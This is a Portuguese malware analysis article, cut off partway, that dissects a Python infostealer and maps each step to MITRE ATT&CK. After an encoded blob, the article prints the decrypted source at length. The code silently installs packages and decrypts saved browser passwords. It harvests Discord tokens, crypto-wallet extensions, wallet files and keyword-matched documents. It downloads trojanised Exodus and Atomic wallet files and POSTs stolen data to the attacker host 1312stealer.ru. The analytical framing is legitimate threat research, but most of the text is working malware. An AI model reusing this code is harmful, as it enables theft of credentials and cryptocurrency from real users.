dSZlcopX4O4J4BsFbP9iSBo_3eQMVT26OIfEorgzhkJVueVZtlq-Mfcg6KbSftcv9eMZxtIwdr3f4U-qmE1WfD3mEtSyWYRPTscHO2NELQ2_q9zcF5MM5N7nM9Bs6-Gits4f8225zFQkkI2Gn7MqQqYIX2D2QcxSRBL7nWpcfp8qmL42we6wz0xCQhdt5OldCUBYXzanaTZrR7DCfHQLrPO7njGgHJ6a04b7zkYRTP4UefcCGnZcv59fuf-qA2pKFtlaK5T6AF7hjljxSOlcEEH3PUgBcDLN_pfkduGlBgrOAJJho31jtN1Jk_BlfymT5gZw671TFr4BavD72BI51f1X28DlPNcbivnw-JkTvHKA8GbB-oITVQZDKQsKLWydh2IAqDEXro02vsx8I3BEaCx6F_b6ZZyurmf_97yp_hMpjRQ7ds1WYiplsd8wYOjOZD1Nx_qhi4P45jLdYtcQ9BbwtJF4-5zE0jysMiRzv8wDOR-8Iee-UwHHJxsTlSVMYMUwy4gW6hxBj8umCievDOQafYkyqCb8X-OTg46YamzzbsaClH7SRx5mU7yMf4_WWlRS1fp_Kh62BZ8HJdMarPLQ8G5NQIBmb6P_0a_gO7qtJYzBlnkrYJ3Tb_4ypGJ3KzsMTLXhEZhEEA2MsmgwemCVjyJKu2mF02euy2PIdOlVgnYQfrVv5joyTgAPzFqnIpG1vRKd6aNUkQtx94hC4mxGt-VPsGQXr0KVGiWuhBDqY1Us_l05-ux65sqCdFasTYv2Rql_vLLibNOyjGw8U8b6CwAbWgDwKzypSeYR8b34EmkRnaqQudeDqxTiQDSo41hCdb_0GZds321HoK7xK9gxTHk7h7vx0AaZRoLbXR1LvNVf_TixfRM3-OBbOSWgTSCNEd9wYlUdN-XOfx9l4UwcEQ3JQVipq56wuKwuYMehYYLpDPGL4WdkGnjkDQk2YzPFCmQKQrsua0seynQUYZxQMCtXzaECgoThbskzpksJwwz23d84r1rr8QzSVSJGCsJ0ybcLrXBcmhHEEvWzRe-Cs6oVWsRkP_7NwXPpcmeqmP7iclAH1NHcFc3dSiiJmkmaFo4r_HeMjhwD_XnzHauIYGYc49ZFzu3oM_KjdpK0_Ls7C1eSb2KcPCnkS0k90kpYjjfyxzkL_ULp9B9fO_G3ct4zp5dEdEbTtkTznJANujXoqhIsecIlYIdX4K-gP5mXPyiDJ9G7aaRBcAVKCgCLG-rxWtax1QoyJ6_FVm4dON-UI0QP-SXWSDFzuL6hk7wvpmwiBX5bS9fYpoHTo55Iw1pvDAEuMOhia5LGECbN-7V5iTZRC6Xahs10o7hzh8ForYWSNVlddnXpdCkPBjtLreEwbyLYxOQRZ20Oo2lguzKSASyVtLoV2oa2dcLujAyN1DlIhjy4YAK-eAcBv980fA_MYU59BDSbDgJMJuznIuEHRS73D9IAKVrEHPHfd3wU27aQtjuqGcGgVIjKEwXrlNR4YfrnsoK_jJOEi00QLDuUlfvjsrnFLXA7_U-eOgEgujA63geTfaEHeJAFBNXNeJX7YHhuS2i8wZY85fzd-3WyB1oJZms_kPpU6fmBilA68AwBASZU-aZuzvmH7Bc12BEQeq48lsdX5YhD-krbwFHeXUmSeqEv8HeYE2Sij5d6cfHpGaXhZQNLXJ3FgpWLUTpLkpecyr-BIywL3XKjX1mtCI846OBeghOr1P68u_1yXuQ8MEQBgiV_N_FlUG2TYS0VkdT51cZhSjdbap40uXPH-ZBXHyVO0p2sGqC-umHqTSf367JsRF0OUEsMwkH02cmUrAOBj4px6g_p99-e93GqlWnQE7kbHEhivoy9wDtr2De7Fb8HSAJ-FIjGz3UquGby3NJvx0DyWTyMutEXWSFDxE5LxOi-6h46sg8Tz_S53ruABGUM2OZA30Yt5CjRrkbjqFbHkq0OFtXK6bi5m8A3gq68YswGShutGtBuK7fIYzy1zWlx9sHgwWkoioIAnFVXqkbXVjnnKQq_-Xu3Uc1NXeQ1wjbo79ADIpfEsKgE-afiRwX1C0moOyzi9FtOTfwv_U2dMYdbeRpKOdCpSN900mC03dx9bLfvDkz6NJ2dqsDl81dhsGa9lSgSkRNHSobxUcRX-_hF8i3_jYapkDExW8avAKt8ddTYfREepWvA2rgpiB1UYr_yQ-i9me9qIFspDjLVUoqn2GyYrCgZeI-Osw80XSvIMV06pjvQSMMuKwL4RGmso6aEZzfQ4EJOFDkgAKmbHLfpcya3biiSwbEvj4h5fjgX3zzgeSyBFblxuptL_gPhl4Ft92ZcIxRY-nxPeDNDVCyUw1KheCoRalZfVAXGcYRklRBm5gHVIG5ELIWlzdy3_bhjp_r0y7y-n-gSKdCn78KaOwPgzYyyvonyErFiYIy3q8OHxq9m1lUnLN-xhzJOU8dO4rCpEg-yJ7A0fqYPaUSP5JzQGEFu2Uzdwgp6xeSm2sdHUmG2XOc0NqfjhSMY4IF-mXjfbtkYdrTVpGAGLnUZyxwRrRmilKB_ETxlZYI6hrFN-xo6Rh9I9vDTXNhUTwxR_os1obOuNhuZQYoqaRVdgdQJecwFsjw6z-_NGQh6WZdZ0ZUtUEvy3x0P8EggIdxdh6vNhLIupWVLtx07AH46AWn64u_2Xwmo0zsNH57whtWgc_J03Y-1Yq8YBW-iLjCX1mt728fxIPC9te49_H0xrstGdXKfTt0B8nK-su-jLSOEubGnTWlSlWkWeUfKCeVIjmriIIlJy0LRIagf-_ANCNXFjTfzCxtSphbyw0Q0Ld72AtFhmLOHUnNvuHcCZS_jIywDuo5OPNopZEGHIuCUc7WcRHxe-uMCxuT9zBuOkaQ84sudQUUk4KRf7EmEwnZrrl8VHLQF3wHjIncgAwx8tKQ7hrlfELUEySb9TMH-fIq4Skq5GJ5Y-Di5hHSpOW44rRn2BBiDyh90BcRPKBeYxwhTQsw7GuH_rksRG6j4mh9eWyWfzqbqYb7nsMxLuLO0nLGHJLKZAAJT13GWi_8SUa_rU-Dj0jX20M-i72L3Vu5aAsm6ct6JReRaGlIYMpi-5YJr0QFgoBeUdEJyOYPximQYtN-GAVmCGlZW1Jf7UDSwOyWDs8bMJUVEvveuBSLi3kYEB_tRY1aVE5gi_xvtXU5mSsqz3MRCxr8KcQuHEPugbxlVrbt5OqNkToc2JINqUCNzcqj-aYWcWgKx2ciTPE0FEKCkvCSjQrjG71T0xYLo9t5F4p_IR4TQHMbMXTjJjz-AQYuBgEOe7XzlX2W_GPordC9QCD8pOpLK47xQwQsZLxuJXKf5up_nQjWSUL3Xf4aZMI4fz0WzAmw0q_7GBZRnqoNlVORnP4ggZydDZKAg==').decode()

print(codigo)

O código do malware descriptografado está mais abaixo no artigo, por ele ser um pouco extenço, vamos fazer uma análise antes. Após descriptografar, vamos dissecar seus componentes para entender como ele opera e quais ações maliciosas executa no computador da vítima. Também faremos uma associação com o MITRE ATT&CK para contextualizar melhor as técnicas utilizadas.

Visão Geral do Malware

Este malware é projetado para roubar informações sensíveis do computador da vítima, incluindo senhas, cookies, dados de carteiras de criptomoedas, tokens do Discord e sessões do Telegram. Ele tem como alvo navegadores web, extensões específicas, aplicativos de carteiras de criptomoedas e aplicativos de mensagens, exfiltrando dados para um servidor remoto controlado pelo atacante.

1. Módulos e Instalações Necessárias

A primeira seção do código importa e instala módulos críticos para o funcionamento do malware, incluindo requests para realizar requisições web, win32crypt para manipulação de dados criptografados no Windows, e Crypto para cifragem.

O malware utiliza subprocess para instalar automaticamente dependências, o que facilita a execução em máquinas sem os pacotes necessários previamente instalados. Este comportamento está relacionado ao MITRE ATT&CK - T1059: Command and Scripting Interpreter:

proc = subprocess.Popen([CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32", "requests"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)

2. Configuração e Persistência

Para garantir persistência, o malware cria uma pasta gruppe_storage no diretório APPDATA para armazenar arquivos exfiltrados e modifica o diretório de inicialização do Windows. Isso está alinhado com MITRE ATT&CK - T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder.

STORAGE_PATH = APPDATA + "\gruppe_storage"
STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")

3. Navegadores Alvo e Extração de Dados

3.1 Identificação de Navegadores e Perfis

O malware define uma lista de navegadores e seus perfis, buscando informações sensíveis armazenadas nos diretórios correspondentes. Cada perfil representa uma área onde dados de login e cookies podem estar armazenados. Este comportamento pode ser mapeado para T1083: File and Directory Discovery.

CHROMIUM_BROWSERS = [
    {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
    ...
]

3.2 Extração e Decriptação de Dados

Após identificar os navegadores, o malware copia bancos de dados contendo logins (Login Data) e cookies (Cookies), utilizando AES para descriptografar credenciais. Isso se relaciona com T1555.003: Credentials from Web Browsers.

def decrypt_data(data, key):
    iv = data[3:15]
    data = data[15:]
    cipher = AES.new(key, AES.MODE_GCM, iv)
    return cipher.decrypt(data)[:-16].decode()

4. Exfiltração de Dados: Servidor Remoto e Manipulação de Arquivos

4.1 Envio de Dados para o Servidor

O malware utiliza requisições POST para exfiltrar dados coletados para o servidor https://1312stealer.ru. Cada conjunto de dados, incluindo senhas e cookies, é enviado para um endpoint específico, como ilustrado abaixo:

password_headers = {"userid": userid, "Content-Type": "application/json"}
password_json_data = json.dumps(PASSWORDS)
requests.post("https://1312stealer.ru/pw", data=password_json_data, headers=password_headers)

Essa técnica é mapeada para T1041: Exfiltration Over C2 Channel.

4.2 Roubo de Dados do Discord e Telegram

O malware busca tokens de autenticação de aplicativos como Discord e Telegram, copiando arquivos de diretórios específicos. Tokens de Discord são validados via API:

def validate_discord_token(token):
    r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})
    if r.status_code == 200:
        return r.json()
    else:
        return None

Este comportamento se alinha ao T1071.001: Application Layer Protocol: Web Protocols.

5. Injeção de Código e Manipulação de Carteiras Criptográficas

As funções inject e inject_atomic sobrepõem arquivos em carteiras de criptomoedas, como Exodus e Atomic Wallet, forçando o fechamento do aplicativo antes de manipular arquivos críticos. Este comportamento está associado ao T1556: Modify Authentication Process.

def inject():
    exodusPatchURL = "https://1312stealer.ru/wallet"
    response = urlopen(req)
    data = response.read()
    with open(fullpath, 'wb') as out_file1:
        out_file1.write(data)

6. Código do Malware

import base64  
import json  
import os  
import re  
import shutil  
import sqlite3  
import subprocess  
import sys  
import zipfile  
from urllib.request import Request, urlopen  
from zipfile import ZipFile  
  
userid = "14"  
  
CURRENT_INTERPRETER = sys.executable  
  
proc = subprocess.Popen(  
    [CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32", "requests"],  
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)  
  
proc.wait()  
  
try:  
  
    import win32crypt  
  
    from Crypto.Cipher import AES  
  
    import requests  
  
except:  
  
    current_file = os.path.abspath(__file__)  
  
    subprocess.Popen([CURRENT_INTERPRETER, current_file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,  
                     creationflags=subprocess.CREATE_NO_WINDOW)  
  
    exit()  
  
USER_PROFILE = os.getenv('USERPROFILE')  
  
APPDATA = os.getenv('APPDATA')  
  
LOCALAPPDATA = os.getenv('LOCALAPPDATA')  
  
STORAGE_PATH = APPDATA + "\\gruppe_storage"  
  
STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")  
  
if not os.path.exists(STORAGE_PATH):  
    os.makedirs(STORAGE_PATH)  
  
CHROMIUM_BROWSERS = [  
  
    {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"),  
     "taskname": "chrome.exe"},  
  
    {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"),  
     "taskname": "msedge.exe"},  
  
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},  
  
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},  
  
    {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"),  
     "taskname": "brave.exe"},  
  
    {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},  
  
]  
  
CHROMIUM_SUBPATHS = [  
  
    {"name": "None", "path": ""},  
  
    {"name": "Default", "path": "Default"},  
  
    {"name": "Profile 1", "path": "Profile 1"},  
  
    {"name": "Profile 2", "path": "Profile 2"},  
  
    {"name": "Profile 3", "path": "Profile 3"},  
  
    {"name": "Profile 4", "path": "Profile 4"},  
  
    {"name": "Profile 5", "path": "Profile 5"},  
  
]  
  
BROWSER_EXTENSIONS = [  
  
    {"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},  
  
    {"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},  
  
    {"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},  
  
    {"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},  
  
    {"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},  
  
    {"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},  
  
    {"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},  
  
    {"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},  
  
    {"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},  
  
    {"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},  
  
    {"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},  
  
    {"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},  
  
    {"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},  
  
    {"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},  
  
    {"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},  
  
    {"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},  
  
    {"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},  
  
    {"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},  
  
    {"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},  
  
    {"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},  
  
    {"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},  
  
    {"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},  
  
    {"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},  
  
    {"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},  
  
    {"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},  
  
    {"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},  
  
    {"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},  
  
    {"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},  
  
    {"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},  
  
    {"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},  
  
    {"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},  
  
    {"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},  
  
    {"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},  
  
    {"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},  
  
    {"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},  
  
    {"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},  
  
    {"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},  
  
    {"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},  
  
    {"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},  
  
    {"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},  
  
    {"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},  
  
    {"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},  
  
    {"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},  
  
    {"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},  
  
    {"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},  
  
    {"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},  
  
    {"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},  
  
    {"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},  
  
    {"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},  
  
    {"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},  
  
    {"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},  
  
    {"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},  
  
    {"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},  
  
    {"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},  
  
    {"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},  
  
    {"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}  
  
]  
  
WALLET_PATHS = [  
  
    {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},  
  
    {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},  
  
    {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},  
  
    {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},  
  
    {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},  
  
    {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},  
  
    {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},  
  
    {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},  
  
    {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},  
  
    {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},  
  
    {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},  
  
]  
  
PATHS_TO_SEARCH = [  
  
    USER_PROFILE + "\\Desktop",  
  
    USER_PROFILE + "\\Documents",  
  
    USER_PROFILE + "\\Downloads",  
  
    USER_PROFILE + "\\OneDrive\\Documents",  
  
    USER_PROFILE + "\\OneDrive\\Desktop",  
  
]  
  
FILE_KEYWORDS = [  
  
    "passw",  
  
    "mdp",  
  
    "motdepasse",  
  
    "mot_de_passe",  
  
    "login",  
  
    "secret",  
  
    "account",  
  
    "acount",  
  
    "paypal",  
  
    "banque",  
  
    "metamask",  
  
    "wallet",  
  
    "crypto",  
  
    "exodus",  
  
    "discord",  
  
    "2fa",  
  
    "code",  
  
    "memo",  
  
    "compte",  
  
    "token",  
  
    "backup",  
  
    "seecret"  
  
]  
  
ALLOWED_EXTENSIONS = [  
  
    ".txt",  
  
    ".log",  
  
    ".doc",  
  
    ".docx",  
  
    ".xls",  
  
    ".xlsx",  
  
    ".ppt",  
  
    ".pptx",  
  
    ".odt",  
  
    ".pdf",  
  
    ".rtf",  
  
    ".json",  
  
    ".csv",  
  
    ".db",  
  
    ".jpg",  
  
    ".jpeg",  
  
    ".png",  
  
    ".gif",  
  
    ".webp",  
  
    ".mp4"  
  
]  
  
DISCORD_PATHS = [  
  
    {"name": "Discord", "path": os.path.join(APPDATA, "discord", "Local Storage", "leveldb")},  
  
    {"name": "Discord Canary", "path": os.path.join(APPDATA, "discordcanary", "Local Storage", "leveldb")},  
  
    {"name": "Discord PTB", "path": os.path.join(APPDATA, "discordptb", "Local Storage", "leveldb")},  
  
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable", "Local Storage", "leveldb")},  
  
    {"name": "Opera GX",  
     "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable", "Local Storage", "leveldb")},  
  
    {"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Sputnik",  
     "path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Vivaldi",  
     "path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data", "Default", "Local Storage", "leveldb")},  
  
    {"name": "Chrome SxS",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Chrome",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Default", "Local Storage", "leveldb")},  
  
    {"name": "Chrome1",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 1", "Local Storage", "leveldb")},  
  
    {"name": "Chrome2",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 2", "Local Storage", "leveldb")},  
  
    {"name": "Chrome3",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 3", "Local Storage", "leveldb")},  
  
    {"name": "Chrome4",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 4", "Local Storage", "leveldb")},  
  
    {"name": "Chrome5",  
     "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 5", "Local Storage", "leveldb")},  
  
    {"name": "Epic Privacy Browser",  
     "path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data", "Local Storage", "leveldb")},  
  
    {"name": "Microsoft Edge",  
     "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data", "Default", "Local Storage", "leveldb")},  
  
    {"name": "Uran",  
     "path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data", "Default", "Local Storage", "leveldb")},  
  
    {"name": "Yandex",  
     "path": os.path.join(LOCALAPPDATA, "Yandex", "YandexBrowser", "User Data", "Default", "Local Storage", "leveldb")},  
  
    {"name": "Brave",  
     "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Storage",  
                          "leveldb")},  
  
    {"name": "Iridium",  
     "path": os.path.join(LOCALAPPDATA, "Iridium", "User Data", "Default", "Local Storage", "leveldb")}  
  
]  
  
DISCORD_TOKENS = []  
  
PASSWORDS = []  
  
COOKIES = []  
  
WEB_DATA = []  
  
DISCORD_IDS = []  
  
  
def decrypt_data(data, key):  
    try:  
  
        iv = data[3:15]  
  
        data = data[15:]  
  
        cipher = AES.new(key, AES.MODE_GCM, iv)  
  
        return cipher.decrypt(data)[:-16].decode()  
  
    except:  
  
        return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])  
  
  
def zip_to_storage(name, source, destination):  
    if os.path.isfile(source):  
  
        with zipfile.ZipFile(destination + f"\\{name}.zip", "w") as z:  
  
            z.write(source, os.path.basename(source))  
  
    else:  
  
        with zipfile.ZipFile(destination + f"\\{name}.zip", "w") as z:  
  
            for root, dirs, files in os.walk(source):  
  
                for file in files:  
                    z.write(os.path.join(root, file),  
                            os.path.relpath(os.path.join(root, file), os.path.join(source, '..')))  
  
  
def upload_to_server(filepath):  
    for i in range(10):  
  
        try:  
  
            url = "https://1312stealer.ru/delivery"  
  
            files = {'file': open(filepath, 'rb')}  
            headers = {'userid': userid}  
            r = requests.post(url, files=files, headers=headers)  
  
            if r.status_code == 200:  
                break  
  
        except:  
            pass  
  
  
def validate_discord_token(token):  
    r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})  
  
    if r.status_code == 200:  
  
        return r.json()  
  
    else:  
  
        return None  
  
  
def taskkill(taskname):  
    subprocess.run(["taskkill", "/F", "/IM", taskname], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)  
  
  
def inject():  
    procc = "exodus.exe"  
  
    local = os.getenv("localappdata")  
  
    path = f"{local}/exodus"  
  
    if not os.path.exists(path): return  
  
    listOfFile = os.listdir(path)  
  
    apps = []  
  
    for file in listOfFile:  
  
        if "app-" in file:  
            apps += [file]  
  
    exodusPatchURL = "https://1312stealer.ru/wallet"  
  
    headers = {  
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}  
  
    req = Request(exodusPatchURL, headers=headers)  
  
    response = urlopen(req)  
  
    data = response.read()  
  
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)  
  
    for app in apps:  
  
        try:  
  
            fullpath = f"{path}/{app}/resources/app.asar"  
  
            with open(fullpath, 'wb') as out_file1:  
  
                out_file1.write(data)  
            licensepath = f"{path}/{app}/LICENSE"  
            with open(licensepath, "w") as out_file2:  
                out_file2.write(userid)  
  
        except:  
            pass  
  
  
for i in range(10):  
  
    try:  
  
        inject()  
  
        break  
  
    except:  
        pass  
  
  
def inject_atomic():  
    procc = "Atomic Wallet.exe"  
  
    local = os.getenv("localappdata")  
  
    path = f"{local}/Programs/atomic"  
  
    if not os.path.exists(path): return  
  
    atomicPatchURL = "https://1312stealer.ru/wallet/atomic"  
  
    headers = {"User-Agent": "Mozilla/5.0"}  
  
    req = Request(atomicPatchURL, headers=headers)  
  
    response = urlopen(req)  
  
    data = response.read()  
  
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)  
  
    try:  
  
        fullpath = f"{path}/resources/app.asar"  
  
        with open(fullpath, 'wb') as out_file1:  
  
            out_file1.write(data)  
        licensepath = f"{path}/LICENSE.electron.txt"  
        with open(licensepath, "w") as out_file2:  
            out_file2.write(userid)  
  
    except:  
        pass  
  
  
for i in range(10):  
  
    try:  
  
        inject_atomic()  
  
        break  
  
    except:  
        pass  
  
for browser in CHROMIUM_BROWSERS:  
  
    taskkill(browser["taskname"])  
  
    local_state = os.path.join(browser["path"], "Local State")  
  
    if not os.path.exists(local_state): continue  
  
    with open(local_state, "r", encoding="utf-8") as f:  
  
        local_state = json.loads(f.read())  
  
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]  
  
    decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]  
  
    for subpath in CHROMIUM_SUBPATHS:  
  
        if not os.path.exists(os.path.join(browser["path"], subpath["path"])): continue  
  
        try:  
  
            login_data_file = os.path.join(browser["path"], subpath["path"], "Login Data")  
  
            temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-pw.db")  
  
            shutil.copy(login_data_file, temp_db)  
  
            connection = sqlite3.connect(temp_db)  
  
            cursor = connection.cursor()  
  
            cursor.execute("SELECT origin_url, username_value, password_value FROM logins")  
  
            for row in cursor.fetchall():  
  
                origin_url = row[0]  
  
                username = row[1]  
  
                password = decrypt_data(row[2], decryption_key)  
  
                if username or password:  
                    PASSWORDS.append({"browser": browser["name"], "profile": subpath["name"], "url": origin_url,  
                                      "username": username, "password": password})  
  
            cursor.close()  
  
            connection.close()  
  
            os.remove(temp_db)  
  
        except:  
  
            pass  
  
        try:  
  
